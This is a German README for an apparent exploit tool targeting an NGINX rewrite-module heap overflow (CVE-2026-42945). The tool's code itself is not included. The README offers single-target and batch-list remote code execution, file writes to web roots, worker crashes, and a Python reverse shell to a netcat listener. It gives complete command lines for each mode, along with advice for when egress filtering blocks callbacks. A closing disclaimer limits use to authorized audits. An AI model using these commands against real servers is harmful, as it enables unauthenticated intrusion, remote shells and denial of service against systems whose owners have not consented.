NGINX Rift RCE Exploit (CVE-2026-42945) von @DepthFirstDisclosures
Ein professionelles Proof-of-Concept-Tool (PoC) zur Erforschung und Identifizierung der NGINX-Rift-Schwachstelle, einem kritischen Heap-basierten Pufferüberlauf im ngx_http_rewrite_module.
Schwachstellenübersicht
- CVE ID: CVE-2026-42945
- Alias: NGINX Rift
- Schweregrad: Kritisch (CVSS 9.2)
- Betroffene Versionen: NGINX 0.6.27 bis 1.30.0
- Grundursache: Fehler aufgrund von Größenfehlanpassung in der Zwei-Pass-Rewrite-Engine bei Verwendung unbenannter PCRE-Erfassungen ($1, $2) und Ersetzungszeichenfolgen, die ein ? enthalten.
- Auswirkung: Nicht authentifizierte Remote-Codeausführung (RCE) oder Denial of Service (DoS).
Funktionen
- Multi-Mode-Unterstützung: Test über einzelne URL oder eine Batch-Liste aus einer .txt-Datei.
- Mehrere Exploit-Methoden:
- id:
id-Befehl ausführen (Standard).
- sleep: Zeitbasierte Verifizierung (ideal für blindes RCE).
- write: Versucht, eine Datei in gängige Web-Root-Verzeichnisse zu schreiben.
- shell: Sendet eine auf Python basierende Reverse-Shell.
- crash: Einen einfachen Absturz des Worker-Prozesses auslösen (DoS).
- Farbcodierte Oberfläche: Klare visuelle Indikatoren für verwundbar (Grün), sicher (Rot) und Debug (Gelb/Blau).
- Ausführliche Protokollierung: Detaillierte Interaktion auf Socket-Ebene für Forscher.
Verwendung
1. Einzelziel-Scan
python3 poc.py --url http://target.com --method id
2. Multi-Ziel-Batch-Scan
Erstellen Sie eine Datei namens targets.txt mit einer URL pro Zeile:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Dann führen Sie aus:
python3 poc.py --list targets.txt --method sleep
3. Benutzerdefinierte Befehle und Verbose-Modus
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Reverse-Shell
Starten Sie zuerst Ihren Listener: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
Ergebnisse verstehen
- [+] VERWUNDBAR (Grün): Der Exploit hat eine Speicherkorruptionssignatur ausgelöst. Wenn mit sleep verwendet, prüfen Sie, ob die Antwortzeit der Schlafdauer entspricht.
- [-] Ziel nicht verwundbar (Rot): Der Exploit konnte mit den bereitgestellten Speicherkandidaten keinen Absturz auslösen.
- [DEBUG] (Gelb/Blau): Hintergrundinformationen zu Heap-Spraying und Kandidatenadressen.
Anforderungen & Einschränkungen
- Python 3.x: Keine externen Bibliotheken erforderlich (verwendet Standard-Socket und argparse).
- ASLR: Dieses PoC verwendet statische Speicheradressen. Auf Systemen, auf denen ASLR aktiviert ist, führt der Exploit wahrscheinlich eher zu einem Denial of Service (DoS) als zu RCE, sofern kein Speicherleck bereitgestellt wird.
- Härtung: Egress-Filterung (Firewalls) kann verhindern, dass curl- oder Shell-Methoden Daten an Sie zurücksenden. Verwenden Sie die sleep-Methode für die zuverlässigste Bestätigung.
Haftungsausschluss
Dieses Tool dient nur zu Bildungszwecken und autorisierten Sicherheitsaudits. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Skript verursacht werden. Holen Sie immer eine ausdrückliche Genehmigung ein, bevor Sie eine Infrastruktur testen.